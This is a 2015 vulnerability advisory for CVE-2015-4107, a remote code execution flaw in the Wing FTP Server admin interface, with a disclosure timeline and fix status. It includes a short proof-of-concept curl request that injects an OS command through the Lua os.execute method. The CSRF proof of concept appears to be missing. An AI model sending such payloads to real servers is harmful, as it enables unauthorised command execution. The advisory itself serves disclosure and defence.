Exploit Title: Wing FTP Server Remote Code Execution vulnerability Product: Wing FTP Server Vulnerable Versions: 4.4.6 and all previous versions Tested Version: 4.4.6 Advisory Publication: 05/06/2015 Latest Update: 05/06/2015 Vulnerability Type: Improper Control of Generation of Code [CWE-94] CVE Reference: CVE-2015-4107 Credit: Alex Haynes Advisory Details: (1) Vendor & Product Description -------------------------------- Vendor:Wing FTP software Product & Version: Wing FTP Server v 4.4.6 Vendor URL & Download: http://www.wftpserver.com/ Product Description: "Wing FTP Server is an easy-to-use, secure and feature-rich enterprise FTP Server that can be used in Windows, Linux, Mac OSX and Solaris. It supports a number of file transfer protocols, including FTP, HTTP, FTPS, HTTPS and SFTP server, giving your end-users flexibility in how they connect to the server. And it provides admins with a web based interface to administrate the server from anywhere. You can also monitor server performance and online sessions and even receive email notifications about various events taking place on the server." (2) Vulnerability Details: -------------------------- The admin interface of Wing FTP Server is vulnerable to a Remote Code Execution (RCE) vulnerability. Proof of concept for RCE [CVE-2015-4107]: ----------------------------------------- The RCE can be exploited in two scenarios, either by a CSRF attack (the admin interface is vulnerable to CSRF attacks) or by being authenticated to the admin interface. The attack leverages the LUA CLI to inject commands at the same privilege as the web server. The RCE via CSRF POC
RCE via authenticated administrator 1) Either utilising the LUA Console interface directly and using the os.execute('') method. 2) POST directly using CURL with an authenticated cookie: curl -i -s -k -X 'POST' -b 'admin_lang=english; UIDADMIN=b8b208e2239f462c11641eaa10cde7b0' --data-binary $'command=os.execute(\'cmd.exe\')' 'http://:5466/admin_lua_script.html' Parameter names: "command" Parameter Type: POST Attack Pattern: Any OS command can be inserted into the os.execute('') method. (3) Advisory Timeline: ---------------------- 27/05/2015 - First Contact 27/05/2015 - Vendor responds with requests for details of vulnerabilities. 28/05/2015 - Vulnerability details sent with POC. 28/05/2015 - Vendor requests clarification on impact and various attack scenarios. 28/05/2015 - Vulnerability scenarios defined. 29/05/2015 - Vulnerability confirmed and new version 4.4.7 released. Requests a week delay before public disclosure. 05/06/2015 - Public disclosure (4)Solution: ------------ CSRF attack vector fixed in version 4.4.7. No fix for authenticated RCE at this time. (5) Credits: ------------ Discovered by Alex Haynes References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4107 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-4107